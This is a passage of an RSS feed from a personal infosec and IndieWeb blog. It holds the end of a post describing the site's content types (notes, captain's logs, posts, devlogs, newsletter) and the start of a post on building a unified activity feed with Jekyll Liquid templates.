&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;Notes&lt;/a&gt;&lt;/strong&gt; are an &lt;a href=&quot;https://indieweb.org/note&quot;&gt;IndieWeb concept&lt;/a&gt; for short-form posts, typically sourced from, or syndicated-to, micro-blogging platforms such as &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; or &lt;a href=&quot;https://www.facebook.com/help/instagram/788669719351544/&quot;&gt;Threads&lt;/a&gt;. I use notes in the following ways…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A repository for reverse-&lt;a href=&quot;https://shellsharks.com/syndication-strategy&quot;&gt;syndicated&lt;/a&gt; social media (microblog) posts (i.e. Mastodon)&lt;/li&gt;
  &lt;li&gt;Other types of short-form content (&lt;em&gt;typically &amp;lt;1000 characters&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So when does a social media post qualify as something I want to archive on my site as a note? To be honest, it’s somewhat subjective and there is no clear methodology. If I think it is something that I tend to repeat, I will likely try to capture it so I can just share a link to the note in the future. If it is something that becomes noteworthy from a virality or engagement perspective (i.e. receives a lot of comments, boosts, likes), I might capture it as a note. For responses that would require &amp;gt;500 characters, I may capture it as a note and then link to it in my social media reply. There is a conscious decision to &lt;em&gt;NOT&lt;/em&gt; capture EVERY public post/reply as a note on my site as that would be, A. cumbersome and, B. of little future value. My site is as much, if not more, a reference for me as it is a place where others can read my writing. As such, memorializing &lt;em&gt;everything&lt;/em&gt; I post out on the web is just not useful to index.&lt;/p&gt;

&lt;p&gt;Notes tend to be my most-used content type and a place where I feel a bit more uninhibited in terms of what I write about. As an example, in my &lt;a href=&quot;https://shellsharks.com/notes/2023/11/01/nablopomo-2023&quot;&gt;NaBloPoMo 2023 series&lt;/a&gt;, I captured &lt;em&gt;most&lt;/em&gt; of my writing as notes, and the subjects I wrote about were as a majority, non-tech and non-infosec. In this way, I can avoid cluttering my longer-form, traditional &lt;a href=&quot;#posts&quot;&gt;blog post&lt;/a&gt; feed.&lt;/p&gt;

&lt;p&gt;Notes live in the “&lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;Notebook&lt;/a&gt;”, which I’ve styled to look much like a social micro-blogging feed/timeline. Each individual &lt;a href=&quot;https://indieweb.org/permalink&quot;&gt;perma-linked&lt;/a&gt; note has also been styled to look like a social media post complete with avatar, @ handle, etc…&lt;/p&gt;

&lt;p&gt;I’ve even devised a way to display social-media-post-style “cards” inline throughout my site. One such card is shown below.&lt;/p&gt;

&lt;div style=&quot;max-width:650px; margin: auto; font-size:.85em;&quot;&gt;

&lt;article class=&quot;post h-entry&quot;&gt;

    &lt;div id=&quot;ncard&quot; class=&quot;containbox&quot; style=&quot;margin:auto; position:relative; margin-top: 20px; margin-bottom:20px; width:100%; background-color: color-mix(in srgb, var(--mastodon-color) 10%, var(--background-color));&quot;&gt;
      
      
        &lt;div style=&quot;float:left;&quot;&gt;&lt;a href=&quot;https://shellsharks.com/about&quot; class=&quot;p-author&quot;&gt;&lt;img class=&quot;profilepic&quot; src=&quot;https://shellsharks-images.s3.amazonaws.com/surfshark.png&quot; width=&quot;60&quot; alt=&quot;author-image&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
        &lt;div style=&quot;float:left;&quot;&gt;&lt;span id=&quot;author&quot; style=&quot;font-weight:bold;&quot;&gt;Mike Sass&lt;/span&gt;&lt;br /&gt;&lt;span id=&quot;handle&quot; style=&quot;color:var(--light-font-color);&quot;&gt;@shellsharks&lt;/span&gt;&lt;/div&gt;
      
      &lt;div style=&quot;float:right;padding:10px 0px 0px 0px;&quot;&gt;&lt;i class=&quot;ph ph-clock-counter-clockwise&quot; title=&quot;Backdated&quot;&gt;&lt;/i&gt; &lt;i class=&quot;ph ph-calendar-dot&quot;&gt;&lt;/i&gt; &lt;span id=&quot;date&quot; style=&quot;font-size:0.75em;&quot; class=&quot;dt-published&quot;&gt;11/17/22 08:11&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
    
      &lt;div class=&quot;post-content e-content&quot;&gt;
      &lt;p&gt;“If you find yourself alone, riding in green fields with the sun on your face, do not be troubled. For you are on Mastodon, and not on Twitter!” - &lt;em&gt;Mastodonius Decimus Meridius&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#Gladiator is the best movie of all time. I can’t be convinced otherwise.&lt;/p&gt;

      &lt;/div&gt;
      &lt;div style=&quot;bottom:-5px; text-align:right;font-size:0.75em;&quot;&gt;&lt;i class=&quot;ph ph-pencil&quot;&gt;&lt;/i&gt; 45&lt;/div&gt;
    
    &lt;hr style=&quot;opacity:35%;margin-top: 10px;margin-bottom: 10px;width:75%;&quot; /&gt;

    &lt;div id=&quot;info&quot; class=&quot;wrapper&quot;&gt;
      &lt;div class=&quot;box 1&quot; style=&quot;background-color:color-mix(in srgb, var(--mastodon-color) 10%, var(--background-color));&quot;&gt;
    
    
    &lt;div&gt;&lt;i class=&quot;ph ph-map-pin-area&quot; title=&quot;Posted from&quot;&gt;&lt;/i&gt; &lt;span id=&quot;posted-from&quot; style=&quot;font-size:0.75em;&quot;&gt;Metatext&lt;/span&gt;&lt;/div&gt;
    
    
      &lt;div&gt;&lt;i class=&quot;ph ph-broadcast&quot;&gt;&lt;/i&gt;&lt;span style=&quot;font-size:0.75em;&quot;&gt; Syndication:&lt;/span&gt;&lt;/div&gt;
      &lt;div style=&quot;font-size:1.5em;&quot;&gt;&lt;span id=&quot;syndicate-to&quot;&gt;
      
      &lt;span style=&quot;padding:0px 3px 0px 3px;&quot;&gt;&lt;a href=&quot;https://infosec.exchange/@shellsharks/109359547429626251&quot;&gt;&lt;i class=&quot;ph ph-mastodon-logo&quot; title=&quot;Mastodon&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/span&gt;
      
      &lt;/span&gt;&lt;/div&gt;
    
  &lt;/div&gt;
  
  &lt;div class=&quot;box2&quot; style=&quot;bottom:0;&quot;&gt;
    &lt;div style=&quot;text-align:right; padding:5px 5px 5px 5px;&quot;&gt;&lt;a class=&quot;u-url&quot; href=&quot;https://shellsharks.com/notes/2022/11/17/gladiator&quot;&gt;&lt;i class=&quot;ph ph-link&quot; title=&quot;Permalink&quot;&gt;&lt;/i&gt;&lt;/a&gt; &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;&lt;i class=&quot;ph ph-book-open&quot; title=&quot;Notebook&quot;&gt;&lt;/i&gt;&lt;/a&gt; &lt;a href=&quot;https://shellsharks.com/&quot;&gt;&lt;i class=&quot;ph ph-house&quot; title=&quot;Home&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;
    &lt;div style=&quot;font-size:0.75em;color:var(--light-font-color);padding:5px 5px 0px 5px;text-align:right;&quot;&gt;&lt;i class=&quot;ph ph-tag&quot;&gt;&lt;/i&gt; 
    
        &lt;span id=&quot;tags&quot; style=&quot;padding:0px 3px 0px 3px;&quot;&gt;#life&lt;/span&gt;
      
        &lt;span id=&quot;tags&quot; style=&quot;padding:0px 3px 0px 3px;&quot;&gt;#movies&lt;/span&gt;
      &lt;/div&gt;
    
  &lt;/div&gt;
  &lt;/div&gt;
  &lt;/div&gt;
  
  &lt;/article&gt;

&lt;/div&gt;

&lt;style&gt;
    .wrapper {
    display: grid;
    grid-template-columns: 1fr 1fr;
    }
    img {max-width:100%}
  &lt;/style&gt;

&lt;h3 id=&quot;captain-logs&quot;&gt;Captain Logs&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;Captain’s Log&lt;/a&gt;&lt;/strong&gt; is essentially a personal journal/diary. It is &lt;em&gt;very&lt;/em&gt; informal and covers a range of more personal topics such as what I’m learning, gadgets, fitness, TV/movies, gaming, investing, parenthood, traveling, and life in general. I also tend to have other Shellsharks community/site meta-commentary. Some of these topics are captured in the more ephemeral &lt;a href=&quot;https://shellsharks.com/now&quot;&gt;/Now&lt;/a&gt; page, but the logs themselves serve kinda as &lt;strong&gt;/then&lt;/strong&gt; views (a &lt;em&gt;/then&lt;/em&gt; is an &lt;a href=&quot;https://mastodon.social/@sass/112221427615760946&quot;&gt;idea&lt;/a&gt; for archiving /now pages at specific points in time). Captain’s log entries are &lt;em&gt;typically&lt;/em&gt; published monthly as digests without too much structure beyond some sections and bulleted lists.&lt;/p&gt;

&lt;p&gt;These logs allow me to revisit previous months of my life to remember what I was up to. For anyone out there who wants to get a little more personal perspective on me—that’s what this can do. I’ve been journaling in this way since &lt;a href=&quot;https://shellsharks.com/captains-log/2021/03/02/log&quot;&gt;March 2021&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Log entries are somewhat boringly displayed in a bulleted list on the main &lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;/captains-log&lt;/a&gt; page.&lt;/p&gt;

&lt;h3 id=&quot;posts&quot;&gt;Posts&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;Posts&lt;/a&gt;&lt;/strong&gt; are traditional, long-form content. Much like &lt;a href=&quot;#notes&quot;&gt;notes&lt;/a&gt;, topics can include pretty much anything (i.e. Infosec, Technology, Life), but they tend to be more structured and well-researched.&lt;/p&gt;

&lt;p&gt;I find myself waffling sometimes on whether something I publish should be a note or a post and I’m &lt;em&gt;sure&lt;/em&gt; I’ve “noted” things that honestly should have been “posted”.&lt;/p&gt;

&lt;h3 id=&quot;podcasts&quot;&gt;Podcasts&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;Podcasts&lt;/a&gt;&lt;/strong&gt; are pretty self-explanatory. For now, all podcast episodes are captured on the site on a single page in a bulleted list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: The Shellsharks Podcast is on an indefinite hiatus. An archive of the episodes is likely still available on Apple Podcasts and Spotify. My podcast hosting service is now defunct and I am looking to stand up Castopod again somewhere else. Stay tuned!&lt;/p&gt;

&lt;h3 id=&quot;devlogs&quot;&gt;Devlogs&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/devlog&quot;&gt;Devlogs&lt;/a&gt;&lt;/strong&gt; are where I write about my journey working on and developing this site, as well as any other &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks&lt;/span&gt;-related properties (e.g. &lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;podcast&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/own-my-social&quot;&gt;Fediverse instance&lt;/a&gt;, etc…). I felt Devlogs need a separate, isolated space as the audience for this particular type of content is somewhat niche (e.g. IndieWeb fans, hobbyists, other bloggers, etc…). They will also serve as a useful reference for myself as I often forget how/why I did something on my site. I am notoriously bad at saving useful articles, documenting my site and leaving comments within my code. [&lt;a href=&quot;https://shellsharks.com/devlog/initialization&quot;&gt;*&lt;/a&gt;]&lt;/p&gt;

&lt;h3 id=&quot;links&quot;&gt;Links&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Links&lt;/strong&gt;, shared via the &lt;a href=&quot;https://shellsharks.com/linklog&quot;&gt;Linklog&lt;/a&gt;, are a simple way for me to share links to articles/sites that I think are cool. I’ve seen other indie sites do this and I &lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;love&lt;/a&gt; the idea of making my site more social and interconnected, while also promoting good stuff I discover as I surf the wider Internet.&lt;/p&gt;

&lt;h3 id=&quot;scrolls&quot;&gt;Scrolls&lt;/h3&gt;

&lt;p&gt;&lt;b&gt;&lt;span class=&quot;shellsharks&quot;&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt;&lt;/span&gt;&lt;/b&gt; is a weekly newsletter / link roundup / information digest at the intersection of the IndieWeb and the Fediverse, with a splash of Cybersecurity stuff. It is published on the web on a weekly-&lt;i&gt;ish&lt;/i&gt; cadence, completely free. Check out the &lt;a href=&quot;https://shellsharks.com/scrolls/scroll/2026-04-17&quot;&gt;latest edition&lt;/a&gt; and get scrollin’!&lt;/p&gt;

&lt;h3 id=&quot;other-pages&quot;&gt;Other Pages&lt;/h3&gt;

&lt;p&gt;Here’s some other things I share on this site…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;Changes&lt;/a&gt;&lt;/strong&gt;: A loooong list of minute changes to the site, sectioned daily.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/uses&quot;&gt;/Uses&lt;/a&gt;&lt;/strong&gt;: Stuff that I use.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/ideas&quot;&gt;/Ideas&lt;/a&gt;&lt;/strong&gt;: Ideas that I have.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/now&quot;&gt;/Now&lt;/a&gt;&lt;/strong&gt;: What I’m up to now.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/blogroll&quot;&gt;Blogroll&lt;/a&gt;&lt;/strong&gt;: Blogs/sites I enjoy.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/sharkweek&quot;&gt;&amp;gt;Shark Week&lt;/a&gt;&lt;/strong&gt;: A once-a-year, week-long stream of content from your favorite mildly-shark-themed infosec / tech / everything blog, coinciding with actual shark week.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s more to discover beyond all of this too! I suggest perusing the hamburger menu on my site to start. 🍔&lt;/p&gt;
</description>
        <pubDate>Tue, 09 Apr 2024 15:38:00 -0400</pubDate>
        <link>https://shellsharks.com/multiplicity-of-writing</link>
        <guid isPermaLink="true">https://shellsharks.com/multiplicity-of-writing</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>posse</category>
        
        <category>pesos</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Creating an Activity Feed with Jekyll</title>
        <shark:summary><p>In my effort to <a href="https://shellsharks.com/indieweb">IndieWeb</a>-ify my site, I’ve created a unified <strong><a href="https://shellsharks.com/activity">Activity feed</a></strong> which aggregates traditional <a href="https://shellsharks.com/">posts</a>, <a href="https://shellsharks.com/notebook">notes</a>, <a href="https://captains-log/">captain logs</a>, <a href="https://shellsharks.com/changelog">changes</a> (<em>and more in the <a href="#future-versions">future</a></em>) into a single, chronological timeline. [<strong><a href="https://shellsharks.com/notes/2024/04/08/the-activity-feed">1</a></strong>]</p>
</shark:summary>
        <description>&lt;p&gt;In my effort to &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;-ify my site, I’ve created a unified &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;Activity feed&lt;/a&gt;&lt;/strong&gt; which aggregates traditional &lt;a href=&quot;https://shellsharks.com/&quot;&gt;posts&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;notes&lt;/a&gt;, &lt;a href=&quot;\/captains-log&quot;&gt;captain logs&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;changes&lt;/a&gt; (&lt;em&gt;and more in the &lt;a href=&quot;#future-versions&quot;&gt;future&lt;/a&gt;&lt;/em&gt;) into a single, chronological timeline. [&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/notes/2024/04/08/the-activity-feed&quot;&gt;1&lt;/a&gt;&lt;/strong&gt;]&lt;/p&gt;

&lt;p&gt;I’d like to thank the following individuals for helping inspire my Activity feed!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mollywhite.net/feed&quot;&gt;Molly White&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kottke.org/&quot;&gt;Jason Kottke&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aaronparecki.com/&quot;&gt;Aaron Parecki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, so how did I make this using &lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt;? The first version of the &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;Activity feed&lt;/a&gt; relies heavily on leveraging the Jekyll concept of “&lt;a href=&quot;https://jekyllrb.com/docs/collections/&quot;&gt;Collections&lt;/a&gt;”. &lt;em&gt;&lt;a href=&quot;#future-versions&quot;&gt;Future versions&lt;/a&gt; of this feed may pull in content from additional places around the site &amp;amp; beyond using other mechanisms.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;First, I needed to get all of my various collections (i.e. notes, logs, posts, etc…) into a single array. The code below uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;concat&lt;/code&gt; to do just this. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site[collection.label]&lt;/code&gt; translates to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site.notes&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site.posts&lt;/code&gt;, etc…&lt;/p&gt;

&lt;div class=&quot;language-liquid highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;collection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;site&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;collections&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content_array&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content_array&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;site&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;endfor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Following this, I needed to chronologically sort the aggregate array.&lt;/p&gt;

&lt;div class=&quot;language-liquid highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content_array&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content_array&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reverse&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To handle different styling for different content types, I created an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;If/Else&lt;/code&gt; structure which iterates through the chronologically sorted content array setting some different variables for each type of content. For example, for records in the Activity feed that are “notes”, they will have a different icon, different “verb” and different way to express the inline content summary. It determines content type by looking at the collection value for each item in the content array.&lt;/p&gt;

&lt;div class=&quot;language-liquid highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;post_type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content_array&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;post_type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;collection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;post_type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;notes&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;icon&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ph ph-note&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;verb&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Noted&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;excerpt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip_html&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip_newlines&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;truncatewords&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;elsif&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;post_type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;captain_logs&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
